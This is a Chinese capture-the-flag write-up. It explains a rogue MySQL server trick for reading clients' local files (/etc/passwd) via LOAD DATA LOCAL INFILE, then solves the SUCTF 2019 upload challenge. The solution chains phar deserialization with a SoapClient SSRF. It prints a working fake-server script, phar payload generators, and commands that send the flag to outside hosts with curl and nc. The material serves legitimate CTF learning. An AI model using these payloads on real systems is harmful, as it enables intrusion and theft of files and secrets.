大概就类比于下面的对话:
客户端:我想将/etc/passwd插入user表中
服务端:那把/etc/passwd发给我
客户端:巴拉巴拉
我们所需要的做的就是搭建一个mysql服务端,然后完成上述过程,实现客户端的任意文件读取。
LOAD DATA INFILE
问题出在该语法上,该语法用于读取一个文件放入表中。两种用法如下:
load data infile "/data/data.csv" into table TestTable;
load data local infile "/home/lightless/data.csv" into table TestTable;
区别在于,第二个用法多了local,表示的是读取客户端本地的"/home/lightless/data.csv",第一个用法则是读取服务端的文件。本次利用也是用的第二种用法。
Mysql官方也提出了该语法的错误
payload
懒得抓包分析通信过程,直接上payload以及效果图吧。
客户端:Kali GNU/Linux Rolling
服务端:Ubuntu 18.04.2 LTS
在服务器端运行mysql_server.py
#coding=utf-8
#mysql_server.py
import socket
import logging
logging.basicConfig(level=logging.DEBUG)
filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()
filename为你想读取的文件绝对路径。
然后客户端远程连接mysql服务器
mysql -hx.x.x.x -uroot -p --local-infile
遇到的问题
在刚才客户端连接的时候如果不加参数--local-infile会读取失败,需要客户端在本地/etc/mysql/my.cnf中添加如下:
[mysqld]
local-infile = 1
[mysql]
local-infile = 1
添加之后就可以不用添加参数
其实一开始的时候客户端是用php的mysqli类连接的,代码如下:
$m = new mysqli();
$m->init();
$m->real_connect('vps_ip','root','toor','mysql',3306);
$m->query('select 1;');
但是这样运行会报错
提示说LOAD DATA LOCAL INFILE受限制。
可是如果我一定要用php连接该怎么办呢?
搜了一下,有人说还需要修改客户端的php.ini(本人环境中在/etc/php/7.3/cli/目录下)
mysqli.allow_local_infile = On
去掉前面的注释符。
此时再运行
php,发现已经没有限制了,成功运行。
[SUCTF]upload
源码如下https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload Labs 2
这题折腾了好几天,从buuoj上的平台到自己的服务器上,从直接拿payload打到看通整个利用链,从不打算做了到再做一遍。我,真的,吐了。
分析问题
index.php中可以看到,其实主要就是检测文件后缀以及文件内容不能有<?
func.php中对post请求中的url做了正则匹配,这里推荐一个网站正则
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
过滤了类似phar之类的伪协议,可是可以用php://filter/resource=phar://绕过。然后是
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
对请求的文件进行检测。
跟进class.php看一下:
class File{
...
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}
...
这里的getMIME()存在文件操作,所以可能存在phar反序列化。
所以我们可以得到第一步该做的:
-
生成一个phar文件,
payload中$phar->setStub("<?php__HALT_COMPILER(); ?>");因为要绕<?和文件格式检测,所以改为$phar->setStub("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>");或者$phar->setStub("GIF89aphp __HALT_COMPILER(); ?>");因为
-
修改
phar后缀为jpg。 -
在
func.phpposturl=php://filter/resource=phar://filename.jpg触发第一个phar反序列化
至于phar内容是什么,我们需要继续往下看。
在class.php中,我们还发现File类中还有个_wakeup
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
而且这个方法中还有ReflectionClass这么香的东西
而且我们能发现我们需要的东西在admin.php内
<?php
include 'config.php';
class Ad{
...
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}
function __destruct(){
system($this->cmd);
}
}
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$cmd = $_POST['cmd'];
$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
...
该php还需要本地访问,这里不难想到SoapClient进行SSRF
所以我们第二步出来了:
- 第一步中
phar的内容为一个File对象,类中$func=SoapClient;$filename=array{},这样
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
在File对象被phar反序列化的时候,会触发_wakeup,然后根据参数实例化一个SoapClient对象,并且执行check函数。
-
check函数并不存在,所以会触发_call魔术方法。 - 然后利用网上的
payload,将请求发送给admin.php,并且请求参数可控(由Soapclient的第二个参数array控制) -
admin.php中执行我们需要的代码。
现在理一下总体思路。
- 构造一个
File对象,变量为SoapClient的参数。然后会去admin.php中执行代码。 - 将已经构造好的
File对象放在phar反序列化中,生成phar文件。 - 上传
phar文件,然后使用未被过滤的伪协议去访问该phar文件,利用文件操作函数触发phar反序列化。
payload
<?php
@unlink('1.phar');
@unlink('1.gif');
$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
class File {
public $file_name = "";
public $func = "SoapClient";
function __construct(){
$target = "http://127.0.0.1/admin.php";
$post_string = 'admin=1&cmd=curl --referer "`/readflag`" "http://xss.buuoj.cn/index.php?do=api%26id=72Jvrh"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
$headers = [];
$this->file_name = [
null,
array('location' => $target,
'user_agent'=> str_replace('^^', "\r\n", 'err0r^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
'uri'=>'zz')
];
}
}
$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();
@rename('1.phar','1.gif');
payload抄自tr1ple师傅
主要就是$post_string这一串
$post_string = 'admin=1&cmd=curl --referer "`/readflag`" "http://xss.buuoj.cn/index.php?do=api%26id=72Jvrh"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
首先admin=1是为了admin.php页面的限制。
cmd=curl --referer "`/readflag`" "http://xss.buuoj.cn/index.php?do=api%26id=72Jvrh"
利用curl的referer参数,来设置请求的referer值,且因为使用了`/readflag`,反引号在php中调用shell_exec,也就是相当于shell_exec('/readflag'),获取到的flag值放在referer中。请求我们设置好的xss平台。
clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=
是因为Ad类中的
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}
传入的参数相当于实例化一个SplStack对象,然后调用三次push方法,每次压入一个参数。
payload中其他东西对着模板就行。
最后生成1.gif,然后上传之后,利用php://filter/resource=phar://去触发反序列化即可。
原题解法
此时好像和rouge mysql都没有太大关系,那是因为buuoj上已经更改过题目,将原先的ip,port两个参数改成了cmd,且由原来的_destruct到_wakeup,这就意味着我们不能再用上面的payload来触发,而需要用反序列化一个Ad类来触发。Suctf原来的admin.php如下:
class Ad{
...
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}
function __wakeup(){
system("/readflag | nc $this->ip $this->port");
}
}
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$ip = $_POST['ip'];
$port = $_POST['port'];
...
这样看来,前面的步骤基本一致,要改的只是上面payload中$post_string的值。
我们先想一下要如何获取flag。
触发_wakeup。这样的话,我们就又需要一个新的Ad类的对象,放入phar中,被执行反序列化操作,从而触发_wakeup。
这样我们就需要下列代码:
<?php
class Ad{
public $ip;
public $port;
function __construct(){
$ip = 'x.x.x.x';
$port = 'x';
}
}
@unlink('2.phar');
@unlink('2.gif');
$phar = new Phar('2.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
$object = new Ad;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();
rename('2.phar','2.gif');
来生成第二个phar文件。
接下来就是如何触发的问题了。
还是需要文件操作。这里就需要用到伪造mysql-server来实现读取第二个phar文件,从而实现反序列化一系列操作。
参考mysqli类实现的souge mysql代码:
$m = new mysqli();
$m->init();
$m->real_connect('vps_ip','root','toor','mysql',3306);
$m->query('select 1;');
那$post_string就应该如下构造
$post_string = 'admin=1&ip=x.x.x.x&port=x&clazz=mysqli&func1=init&func2=real_connect&func3=query&arg1=&arg2[0]=vps_ip&arg2[1]=root&arg2[2]=toor&arg2[3]=mysql&arg2[4]=3306&arg3=select 1;'
这样当SoapClient将请求发给admin.php的时候,执行到check函数的时候,会通过实例化类和几个反射函数来完成对伪造的mysql服务器的连接。
然后我们将
#coding=utf-8
#mysql_server.py
import socket
import logging
logging.basicConfig(level=logging.DEBUG)
filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()
中filename的值改为第二个phar文件的地址,从而触发第二个phar文件的反序列化,触发_wakeup,将flag外连出来。












网友评论